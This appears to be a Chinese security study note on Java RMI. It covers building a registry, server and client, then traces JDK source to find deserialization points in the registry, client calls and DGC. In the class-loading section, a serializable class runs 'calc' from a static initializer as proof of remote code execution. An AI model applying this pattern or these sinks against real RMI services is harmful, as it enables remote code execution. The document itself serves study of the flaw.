RMI反序列化

简单RMI(一)

参考文章:https://www.cnblogs.com/CoLo/p/15468660.html

首先RMI是一个java远程方法调用协议,具体可以远程调用其他虚拟机中的对象来执行方法。也就是获取远程对象的引用,通过远程对象的引用调用远程对象的某个方法。

它让我们获得对远程主机上对象的引用,并像在我们自己的虚拟机中一样使用它。RMI 允许我们调用远程对象上的方法,将真实的 Java 对象作为参数传递并获取真实的 Java 对象作为返回值。

无论在何处使用引用,方法调用都发生在原始对象上,该对象仍位于其原始主机上。如果远程主机向您返回对其对象之一的引用,您可以调用该对象的方法;实际的方法调用将发生在对象所在的远程主机上。

在RMI中需要了解一些常见的点,关于远程接口和远程对象和远程路由表

远程与非远程对象

远程对象:RMI中的远程对象首先需要可以序列化;并且需要实现特殊远程接口的对象,该接口指定可以远程调用对象的哪些方法(这个后面会详细提到);其次该对象是通过一种可以通过网络传递的特殊对象引用来使用的。和普通的 Java 对象一样,远程对象是通过引用传递。也就是在调用远程对象的方法时是通过该对象的引用完成的

非远程对象:非远程对象与远程对象相比只是可被序列化而已,并不会像远程对象那样通过调用远程对象的引用来完成调用方法的操作,而是将非远程对象做一个简单地拷贝(simply copied),也就是说非远程对象是通过拷贝进行传递。

Remote Interface

上面我们提到了远程对象需要实现特殊的远程接口,下面会涉及三个概念

java.rmi.Remote ==> 特殊的远程接口 extends Remote ==> 远程对象类 implements 特殊的远程接口

1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteObjectInterface extends Remote {
String say()throws RemoteException;
String sayhello()throws RemoteException;
}

Remote Object

在远程对象中一般需要继承UnicastRemoteObject类,因为继承UnicastRemoteObject类的子类会被exports出去,绑定随机端口,开始监听来自客户端(Stubs)的请求,创建远程对象类需要显示定义构造方法并抛出RemoteException,即使是个无参构造也需要如此,不然会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.*;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObject extends UnicastRemoteObject implements RemoteObjectInterface{
public RemoteObject() throws RemoteException {

}
public String say(){
System.out.println("say");
return "yes";
}
public String sayhello(){
System.out.println("sayhello");
return "hello";
}
}

RMI registry

这里的registry就是方便引用远程对象时用的,通过将调用的信息在该类中进行声明

这里有其它的师傅的话就是

在RMI中的注册表(registry)就是类似于这种机制,当我们想要调用某个远程对象的方法时,通过该远程对象在注册时提供在注册表(registry)中的别名(Name),来让注册表(registry)返回该远程对象的引用,后续通过该引用实现远程方法调用

注册表(registry)由java.rmi.Naming和java.rmi.registry.Registry实现

Naming类提供了进行存储及获取远程对象等操作注册表(registry)的相关方法,如bind()实现远程对象别名与远程对象之间的绑定。其他的还有如:查询(lookup)、重新绑定(rebind)、解除绑定(unbind)、list(列表) 而这些方法的具体实现,其实是调用 LocateRegistry.getRegistery 方法获取了 Registry 接口的实现类,并调用其相关方法进行实现的

这里默认的绑定的端口为1099,本地实现一个registry注册类,一般通过LocateRegistry.createRegistry()

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RemoteRegister {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
throw new RuntimeException(e);
}
}
}

Server创建

下面就是将创建好的远程对象进行绑定到服务器上

如果直接通过绑定就可能会报错,会提示无法连接

1
2
3
4
5
6
7
8
9
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RemoteServer {
public static void main(String[] args) throws Exception {
RemoteObject server = new RemoteObject();
Naming.rebind("rmi://localhost:1089/server", server);
}
}

下面就可以通过先创建一个注册中心来放入远程对象

1
2
3
4
5
6
7
8
9
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RemoteServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1089);
Naming.bind("rmi://127.0.0.1:1089/luokuang",new RemoteObject());
}
}

client创建

在启动server后就可以尝试通过client来获取远程的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class RCline {
public static void main(String[] args) throws Exception {
Registry register = LocateRegistry.getRegistry("127.0.0.1",1089);
//打印注册中心中的远程对象别名list
System.out.println(Arrays.toString(register.list()));//[luokuang]
RemoteObjectInterface stub = (RemoteObjectInterface) register.lookup("luokuang");
System.out.println(stub.say());//yes
System.out.println(stub.sayhello());//hello
}
}

RMI**的流程**

最后总结一下:

1.需要创建一个远程接口,将要实现的方法写入其中,并且该接口需要继承Remote接口

2.创建一个远程对象,远程对象需要实现该远程连接的接口,然后需要继承UnicastRemoteObject通过其构造器来抛出异常,否则后面对其进行注册时可能会出现问题,导致无法实现绑定

3.创建一个Server对象创建一个Registry实例用来将一个远程对象绑定到指定的路由,下面就需要启动该服务器程序

4.创建一个client对象用来实现实现远程对象的引用和调用获取注册中心LocateRegistry.getRegistry(‘ip’,port),通过registry.lookup(name) 方法,依据别名查找远程对象的引用并返回存根(Stub)

5.通过存根(Stub)实现RMI

RMI 动态加载类

这个主要是RMI的Client和Server&Registry进行通信时是将数据进行序列化传输的,所以当我们传递一个可序列化的对象作为参数进行传输时,在Server端肯定会对其进行反序列化

如果RMI需要用到某个类但当前JVM中没有这个类,它可以通过远程URL去下载这个类。那么这个URL可以是http、ftp协议,加载时可以加载某个第三方类库jar包下的类,或者在指定URL时在最后以\结束来指定目录,从而通过类名加载该目录下的指定类

下面就来实现Client动态加载Server类

RemoteInterface

1
2
3
4
5
6
7
8
9
10
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteInterface extends Remote {
String say() throws RemoteException;
String sayhello(String name) throws RemoteException;
//Object RemoteObjectdyn() throws RemoteException;
Object sayClientLoadServer()throws RemoteException;
String sayServerLoadClient(Object name) throws RemoteException;
}

RemoteObject1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.rmi.RemoteException;
import java.rmi.server.RemoteServer;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObject1 extends UnicastRemoteObject implements RemoteInterface {
public RemoteObject1() throws RemoteException {
}
public String say() throws RemoteException {
return "Hello World";
}
public String sayhello(String name) throws RemoteException {
return "Hello "+name;
}
public String sayServerLoadClient(Object name) throws RemoteException {
return name.getClass().getName();
}
public Object sayClientLoadServer() throws RemoteException {
return new Server1();
}
}

动态加载类Server1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.IOException;
import java.io.Serializable;

public class Server1 implements Serializable{
private static final long serialVersionUID = 3274289574195395731L;
private int aaa=10;
public long aaa(){
return this.aaa;
}
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

RemoteServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class RemoteServer {
public static void main(String[] args) {

try {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8080/");
Registry registry = LocateRegistry.createRegistry(1099);
RemoteInterface remoteObject = new RemoteObject1();
Naming.bind("rmi://122.51.120.158/luokuang", remoteObject);
} catch (Exception e) {
e.printStackTrace();
}
}

RemoteServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class RemoteServer {
public static void main(String[] args) {

try {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8080/");
Registry registry = LocateRegistry.createRegistry(1099);
RemoteInterface remoteObject = new RemoteObject1();
Naming.bind("rmi://122.51.120.158/luokuang", remoteObject);
System.out.println("Registry&Server Start");
System.out.println("Registry List: " + Arrays.toString(registry.list()));

} catch (Exception e) {
e.printStackTrace();
}
}
}

RemoteClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class RemoteClient {
public static void main(String[] args) throws Exception {
Registry register = LocateRegistry.getRegistry("122.51.120.158",1099);
//打印注册中心中的远程对象别名list
System.out.println(Arrays.toString(register.list()));//[luokuang]
RemoteInterface stub = (RemoteInterface) register.lookup("luokuang");
System.out.println(stub.say());//yes
System.out.println(stub.sayhello("aaaa"));//hello

//动态调用server类
System.out.println(stub.sayClientLoadServer().getClass().getName());
System.out.println("aaaaa");
}
}

这样就会动态加载Server类的方法

详细分析

上面只是简单的实现如何通过RMI来起一个远程连接对象,下面就可以开始来详细的分析创建的流程,并且分析哪里有利用被利用的点

这里再根据上面的流程来尝试总结一下,也对后续的分析打下基础,首先对于RMI(远程方法调用)机制,首先在RMI中有三个部分,Server(服务中心)、register(注册中心)、Client(客户端),,server在创建一个远程对象时需要先创建一个注册中心,将远程对象绑定,具体的实现是通过构造一个动态代理Skel(skeleton),这里下一步是通过Client通过查询注册中心来获取远程对象调用方法,这里其实也是通过从注册中心获取一个本地动态代理stub,但是在对于目录进行传输时这里是通过java反序列化来实现的,后面传输远程调用函数的参数时服务器会通过反序列化来获取,在客户端进行获取返回结果时也是通过反序列化来实现,还有最后在进行回收时是通过dgc对象,这里也是存在反序列点的

Server服务器对注册中心

进行绑定时的分析在绑定一个远程对象时发生了什么

首先会先初始化一个远程对象,因为我们的远程对象继承了UnicastRemoteObject,所以这里就会进入其父类的构造方法,里面就会解释为什么远程对象需要继承UnicastRemoteObject

在其父类的构造方法中调用了一个exportObject方法,这个方法就是发布远程对象的核心,如果没有继承UnicastRemoteObject就需要手动的调用其exportObject方法,

1
2
3
4
5
protected UnicastRemoteObject(int port) throws RemoteException
{
this.port = port;
exportObject((Remote) this, port);
}

exportObject里面就再调用了exportObject

1
2
3
4
5
public static Remote exportObject(Remote obj, int port)
throws RemoteException
{
return exportObject(obj, new UnicastServerRef(port));
}

这里需要注意一下,exportObject里面创建了一个UnicastServerRef对象,里面传了一个port,这里的port为0,在调用其父类的构造器时就默认传了一个0,在UnicastServerRef中就对其port进行了一个随机赋值,这个port与我们绑定的注册中心的端口不是同一个,我们跟进LiveRef去看看,这里会有调用ObjID,应该就是获取一个id值,继续看其构造方法

1
2
3
public LiveRef(int port) {
this((new ObjID()), port);
}

下面就继续的跟进看看getLocalEndpoint看看里面干了什么,实质上它是处理了一下TCP请求的事情,并且创建了一个ep对象来进行封装,并且返回,里面就存储了我们的

然后继续封装在LiveRef里面,这里就产生了一个LiveRef@1523的对象,这个是后面的核心

下面走出LiveRef,下面就是对其继续赋值操作,最后来到UnicastRemoteObject.exportObject方法

1
2
3
4
5
6
7
8
9
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}

这里有一个obj就是我们传的远程对象,因为我们的远程对象是继承UnicastRemoteObject的所以会进入if中对其进行赋值,赋值的核心还是上面的LiveRef,下面就是对其进行不断的导出引用不同类的方法,下面就来到了UnicastServerRef的exportObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Remote exportObject(Remote impl, Object data,
boolean permanent)
throws RemoteException
{
Class<?> implClass = impl.getClass();
Remote stub;

try {
stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
} catch (IllegalArgumentException e) {
throw new ExportException(
"remote object implements illegal remote interface", e);
}
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);
ref.exportObject(target);
hashToMethod_Map = hashToMethod_Maps.get(implClass);
return stub;
}

里面就对客户端调用的stub代理进行了创建,这个是为了将客户端代理进行创建后放到注册中心再让客户端调用

来到createProxy方法里面,它传入了一个类,其实就是我们传入的远程对象类,里面有一个if判断,里面有一个函数stubClassExists

下面对其进行分析看看,它是用来判断我们传入的类名+”_Stub”是否存在,这里很显然我们自己传入的类是JDK里面没有自带的,所以不会进入if

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static boolean stubClassExists(Class<?> remoteClass) {
if (!withoutStubs.containsKey(remoteClass)) {
try {
Class.forName(remoteClass.getName() + "_Stub",
false,
remoteClass.getClassLoader());
return true;

} catch (ClassNotFoundException cnfe) {
withoutStubs.put(remoteClass, null);
}
}
return false;
}

里面的getClientRef还是对上面的liveRef进行了封装

1
2
3
protected RemoteRef getClientRef() {
return new UnicastRef(ref);
}

后面又对其进行了一次总的封装,target就是最后的封装,这里就不跟进了,主要看看target里面有什么,里面还是对stub进行封装

后面就是一路调用exportObject方法,直到调用TCPEndpoint类里面的exportObject方法,这里就是处理网络请求的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void exportObject(Target target) throws RemoteException {
transport.exportObject(target);
}
public void exportObject(Target target) throws RemoteException {
/*
* Ensure that a server socket is listening, and count this
* export while synchronized to prevent the server socket from
* being closed due to concurrent unexports.
*/
synchronized (this) {
listen();
exportCount++;
}

/*
* Try to add the Target to the exported object table; keep
* counting this export (to keep server socket open) only if
* that succeeds.
*/
boolean ok = false;
try {
super.exportObject(target);
ok = true;
} finally {
if (!ok) {
synchronized (this) {
decrementExportCount();
}
}
}
}

具体就不看了,后面就回到UnicastServerRef的exportObject方法里面对其进行了存储到一个hashmap里面

这样远程对象就创建好了,下面就是要了解注册中心的创建过程,将要绑定的端口传入createRegistry方法

1
2
3
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}

跟进后主要看后面的RegistryImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public RegistryImpl(int port)
throws RemoteException
{
if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
// grant permission for default port only.
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws RemoteException {
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref));
return null;
}
}, null, new SocketPermission("localhost:"+port, "listen,accept"));
} catch (PrivilegedActionException pae) {
throw (RemoteException)pae.getException();
}
} else {
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref));
}
}

这里又创建了一个LiveRef其实和上面创建基本一样,但是这里的port是我们传入要绑定的端口这里是1099,往下看就基本一样了,直接看创建后的lref有什么就可以

这里也是将网络请求的东西进行了封装,ip+port,下面的又new了一个UnicastServerRef对象这里的话,其实和上面的一样,对构建的lref进行封装赋值,这里先明确一点创建的liveref就是LiveRef@854,下面就是对其进行反复的导出

这里通过setup调用到UnicastServerRef的exportObject方法但是可以发现和以前不一样,这里传入的值为true,而不是false,具体的意思是是否长期对其进行存储,如果为true就是长期,否则为短期,下面就跟进去看看里面是不是也有什么变化,虽然代码是一样的,但是传入的implclass不一样了,所以实现的代码也有很多的不同,在createProxy方法中

首先是传入的类名为RegistryImpl,所以通过拼接后的名字就为RegistryImpl_stub,下面这里就会去判断是否存在该类,这里是否存在呢,答案是存在的,接下来就会创建一个RemoteStub类进行返回,这里就通过了下面的判断

下面就进入setSkeleton方法里面看看它是要干什么,其实还是很明显的,创建一个Skeleton,而Skeleton就是在服务器上的动态代理用来处理与客户端的交互

这里创建Skeleton的核心也是liveRef,后面还是和创建远程对象一样封装到target里面,后面又是不断的调用exportObject最后启用网络连接

最后就是绑定注册中心

1
2
3
4
5
6
7
8
9
10
11
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException
{
checkAccess("Registry.bind");
synchronized (bindings) {
Remote curr = bindings.get(name);
if (curr != null)
throw new AlreadyBoundException(name);
bindings.put(name, obj);
}
}

这里其实就是先判断是否已经绑定该目录,如果没有绑定就将远程对象直接put进去

到这里就已经是创建远程对象和创建注册中心并且进行绑定了

客户端对注册中心

下面就去看看客户端与注册中心的流程

首先将断点设到获取注册中心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;
if (port <= 0)
port = Registry.REGISTRY_PORT;
if (host == null || host.length() == 0) {
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
host = "";
}
}
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

这里创建了一个liveRef,可以看看创建完成后里面有什么,主要是ip和端口,主要看后面又调用了Util.createProxy

这里跟进去后发现其创建了一个stub和服务端是一模一样的,所以对于客户端获取stub其实是本地进行创建,然后通过注册中心来获取对应的参数和值,下面主要看stub参数和值是然后从注册中心获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}

下面就只能进行手动分析了,这里还是有一些关键点的

1
2
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);

这里它将我们lookup传入的字符串写入了字节流,这里就可以知道客户端传输给服务端lookup的字符串会进行一次反序列化,所以这里就有一个反序列化点,接下来就会调用一个ref.invoke方法,这里跟进去看看里面有什么,这里会调用到UnicastRef的invoke方法,下面我们可以去将断点下到着来看看接下来做了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void invoke(RemoteCall call) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");
call.executeCall();
} catch (RemoteException e) {
clientRefLog.log(Log.BRIEF, "exception: ", e);
free(call, false);
throw e;
} catch (Error e) {
clientRefLog.log(Log.BRIEF, "error: ", e);
free(call, false);
throw e;
} catch (RuntimeException e) {
clientRefLog.log(Log.BRIEF, "exception: ", e);
free(call, false);
throw e;
} catch (Exception e) {
clientRefLog.log(Log.BRIEF, "exception: ", e);
free(call, true);
throw e;
}
}

在里面调用了一个excuteCall方法这里需要注意一下,基本上所有的客户端调用网络请求都是通过excuteCall方法进行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public void executeCall() throws Exception {
byte returnType;

// read result header
DGCAckHandler ackHandler = null;
try {
if (out != null) {
ackHandler = out.getDGCAckHandler();
}
releaseOutputStream();
DataInputStream rd = new DataInputStream(conn.getInputStream());
byte op = rd.readByte();
if (op != TransportConstants.Return) {
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"transport return code invalid: " + op);
}
throw new UnmarshalException("Transport return code invalid");
}
getInputStream();
returnType = in.readByte();
in.readID(); // id for DGC acknowledgement
} catch (UnmarshalException e) {
throw e;
} catch (IOException e) {
throw new UnmarshalException("Error unmarshaling return header",
e);
} finally {
if (ackHandler != null) {
ackHandler.release();
}
}

// read return value
switch (returnType) {
case TransportConstants.NormalReturn:
break;

case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
}

这里可以看到在处理一种异常时里面调用了readObject方法,这里的初衷应该是为了获取异常的详细情况,但是如果从注册中心搞一个恶意的进行传输就可能导致客户端调用恶意的代码

1
2
3
4
5
6
7
case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

下面调用完invoke方法后就通过反序列化来获取对应的远程对象代理,所以在客户端获取远程对象代理是通过反序列化来实现的

1
2
3
4
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
}

客户端调用服务端

通过客户端的动态代理stub来调用服务端的方法,下面就可以看看具体是怎么实现,首先可以想到在调用动态代理的方法时会先调用其invoke方法,这里也是一样,先看看它的invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable
{
if (! Proxy.isProxyClass(proxy.getClass())) {
throw new IllegalArgumentException("not a proxy");
}

if (Proxy.getInvocationHandler(proxy) != this) {
throw new IllegalArgumentException("handler mismatch");
}

if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
} else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 &&
!allowFinalizeInvocation) {
return null; // ignore
} else {
return invokeRemoteMethod(proxy, method, args);
}
}

下面的invoke方法里面主要看invokeRemoteMethod里面有什么,这里里面调用了UnicastRef的invoke,但是不是以前的invoke方法,而是方法重写,看看里面有什么

下面就可以看看invoke里面实现了什么,这里主要是三个点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum)
throws Exception
{
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "method: " + method);
}
if (clientCallLog.isLoggable(Log.VERBOSE)) {
logClientCall(obj, method);
}
Connection conn = ref.getChannel().newConnection();
RemoteCall call = null;
boolean reuse = true;
boolean alreadyFreed = false;
try {
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "opnum = " + opnum);
}
call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);
try {
ObjectOutput out = call.getOutputStream();
marshalCustomCallData(out);
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {
marshalValue(types[i], params[i], out);
}
} catch (IOException e) {
clientRefLog.log(Log.BRIEF,
"IOException marshalling arguments: ", e);
throw new MarshalException("error marshalling arguments", e);
}
call.executeCall();
try {
Class<?> rtype = method.getReturnType();
if (rtype == void.class)
return null;
ObjectInput in = call.getInputStream();
Object returnValue = unmarshalValue(rtype, in);
alreadyFreed = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
ref.getChannel().free(conn, true);
return returnValue;
} catch (IOException e) {
clientRefLog.log(Log.BRIEF,
"IOException unmarshalling return: ", e);
throw new UnmarshalException("error unmarshalling return", e);
} catch (ClassNotFoundException e) {
clientRefLog.log(Log.BRIEF,
"ClassNotFoundException unmarshalling return: ", e);
throw new UnmarshalException("error unmarshalling return", e);
} finally {
try {
call.done();
} catch (IOException e) {
reuse = false;
}
}
} catch (RuntimeException e) {
if ((call == null) ||
(((StreamRemoteCall) call).getServerException() != e))
{
reuse = false;
}
throw e;
} catch (RemoteException e) {
reuse = false;
throw e;
} catch (Error e) {
reuse = false;
throw e;
} finally {
if (!alreadyFreed) {
if (clientRefLog.isLoggable(Log.BRIEF)) {
clientRefLog.log(Log.BRIEF, "free connection (reuse = " +
reuse + ")");
}
ref.getChannel().free(conn, reuse);
}
}
}

首先这个方法里面先调用了marshalValue方法,通过跟进就发现这里最后调用了writeObject()方法,将我们传入的函数的参数通过序列化写入字节流,这里也说明在服务器端里面调用了readObject()方法来反序列化获取字节流,

下面关键是看到它还是调用了executeCall(),对于客户端来说,处理网络请求都是需要通过executeCall方法,这里就也会有反序列化的点

最后一个点是根据调用的方法是否存在返回值来决定的,unmarshalValue方法

里面是最后通过反序列化获取了函数的返回值

这样客户端就基本结束了,下面就分析注册中心和服务端是怎么处理的

首先是注册中心最后会调用到RegistryImpl_Skel的dispatch方法,这里将对应的lookup或者rebind等方法的传入的参数通过反序列来获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();

try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}

var6.rebind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}

最后就是服务端的操作,这里就是一个对称的过程,客户端反序列化,服务端就序列化,也是通过unmarshalValue方法或者marshalValue方法

dgc回收

首先在服务端创建stub对象时会自动的创建一个DGCImpl_stub对象,它也有对应的DGCImpl_Skel,里面有dispatch方法,里面也有反序列化来获取参数值进行清理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch (var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var40);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

